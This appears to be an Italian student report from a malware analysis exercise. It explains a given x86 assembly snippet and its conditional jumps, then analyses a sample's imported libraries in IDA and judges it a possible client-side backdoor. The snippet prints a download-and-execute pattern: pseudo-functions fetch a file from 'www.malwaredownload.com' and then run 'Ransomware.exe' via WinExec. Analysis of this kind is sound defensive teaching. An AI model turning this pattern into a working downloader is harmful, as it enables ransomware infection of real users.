Report

Parte 1

- **Salto condizionale** : Nel codice fornito, il salto condizionale viene effettuato con l'istruzione "jz" (jump if zero) alla locazione di memoria 004OFFAO. Questo salto condizionale viene eseguito dopo l'istruzione "cmp" tra il registro EBX e il valore 11. Se il valore nel registro EBX è uguale a 11, il flag zero (ZF) viene impostato, indicando che i valori sono uguali. Quindi, l'istruzione "jz" effettua il salto alla locazione di memoria 004OFFAO. Il salto viene eseguito perchè il valore nel registro EBX è uguale a 11.
- **Diagramma di flusso :**

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

- **Funzionalità del malware**: Nel codice del malware sono presenti due funzionalità principali. La prima funzionalità consiste nel download di file da un URL specifico. Questa operazione viene eseguita tramite una chiamata alla funzione "DownloadToFile()", passando l'URL "www.malwaredownload.com" come parametro. L'obiettivo di questa funzione è presumibilmente scaricare un file dannoso dal sito web specificato.

  La seconda funzionalità consiste nell'esecuzione di un file specifico. Dopo aver effettuato il download del file dal sito web, il malware effettua una chiamata alla funzione "WinExec()", passando come parametro il percorso del file da eseguire. Il percorso del file, "C:\Program and Settings\Local User\Desktop\Ransomware.exe", suggerisce che questa funzionalità

potrebbe comportare l'esecuzione di un ransomware contenuto nel file specificato.

- **Passaggio argomenti alle chiamate di funzione** : Nella tabella 2, l'argomento per la successiva chiamata di funzione viene passato utilizzando il registro EAX e l'istruzione di push. All'indirizzo 0040BBAO, viene eseguita l'istruzione mov EAX, EDI che copia il valore contenuto nel registro EDI (l'URL "www.malwaredownload.com") nel registro EAX. All'indirizzo 0040BBA4, viene eseguita l'istruzione push EAX, che mette il valore contenuto nel registro EAX nello stack. In questo caso, l'URL viene messo nello stack per essere utilizzato come argomento. Nella tabella 3, l'argomento per la successiva chiamata di funzione viene passato utilizzando il registro EDX e l'istruzione di push. All'indirizzo 004OFFAO, viene eseguita l'istruzione mov EDX, EDI che copia il valore contenuto nel registro EDI (il percorso del file "C:\Program and Settings\Local User\Desktop\Ransomware.exe") nel registro EDX. All'indirizzo 004OFFA4, viene eseguita l'istruzione push EDX, che mette il valore contenuto nel registro EDX nello stack. Il percorso del file da eseguire viene messo nello stack per essere utilizzato come argomento.

Parte 2

Dall'analisi del malware tramite IDA si può notare che vengono importate le seguenti librerie:

- advapi32: È una libreria di Windows che contiene molte funzioni utili per l'interazione con i servizi di Windows e l'amministrazione del sistema.

- wsock32 e ws2_32: Sono librerie di Windows utilizzate per la comunicazione di rete. Queste librerie forniscono funzioni per creare, gestire e comunicare tramite socket di rete. Sono utilizzate per sviluppare applicazioni che richiedono comunicazione TCP/IP, come applicazioni web, server, client di rete.

- msvcrt: È una libreria di runtime del C/C++ di Microsoft. Fornisce implementazioni delle funzioni di libreria standard del linguaggio C/C++, come la gestione della memoria, l'input/output, la manipolazione delle stringhe e altro ancora.

- kernel32: È una libreria di Windows che contiene funzioni di basso livello che consentono l'interazione diretta con il kernel di Windows. Queste funzioni includono la gestione dei processi, la gestione della memoria, la gestione dei file, la gestione dei thread e altre operazioni di base del sistema operativo.

Analizzando le funzioni importate si possono notare:

- Socket: Utilizzata per creare un socket per la comunicazione di rete.
- Connect: Utilizzata per stabilire una connessione a un server remoto.
- Gethostbyname: Utilizzate per risolvere un nome host in un indirizzo IP.
- WSAStartup: Utilizzata per allocare risorse alle librerie di networking
- Malloc/Free: Utilizzate per gestire la memoria dinamica

- Fopen/Fclose: Utilizzate per aprire e chiudere file sul sistema.
- GetCommandLineW: per ottenere informazioni sulla riga di comando
- WriteFile/ReadFile/Createfile: Utilizzate per leggere e scrivere o creare file

Il malware potrebbe essere una backdoor lato client in quanto importa librerie che consentono la comunicazione di rete, come wsock32.dll o ws2_32.dll, che potrebbe indicare un'intenzione di stabilire connessioni di rete con server remoti. L'utilizzo di funzioni come socket, connect indica una possibile connessione con server remoto. Questo potrebbe consentire al malware di inviare o ricevere comandi e dati a distanza, caratteristica tipica delle backdoor lato client.
Inoltre vengono importate librerie per la gestione del file system, come kernel32.dll, msvcrt.dll o advapi32.dll, potrebbe essere un segno che il malware ha la capacità di manipolare file e directory sul sistema. Funzioni come CreateFile, ReadFile, WriteFile, possono indicare che il malware ha la capacità di eliminare o modificare file sul sistema.